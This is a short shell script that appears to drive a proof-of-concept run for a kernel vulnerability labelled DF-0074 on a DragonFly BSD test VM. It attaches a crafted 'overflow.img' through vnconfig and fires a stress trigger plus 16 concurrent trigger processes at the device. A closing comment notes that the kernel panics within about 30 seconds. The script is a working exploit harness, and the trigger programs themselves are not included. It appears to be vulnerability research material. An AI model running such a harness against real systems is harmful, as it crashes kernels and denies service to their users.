#!/bin/sh
# DF-0074 run (see VERDICT.md for preconditions)
cd "$(dirname "$0")"
ssh dfbsd '/bin/sh -c "vnconfig -c vn0 /home/maxx/poc/DF-0074/overflow.img && /home/maxx/poc/DF-0074/trigger_stress /dev/vn0s1 5 && (i=0; while [ $i -lt 16 ]; do /home/maxx/poc/DF-0074/trigger /dev/vn0s1 >/dev/null 2>&1 & i=$((i+1)); done; wait)"'  -- panic appears async in dfbsd-qemu/boot.log within ~30s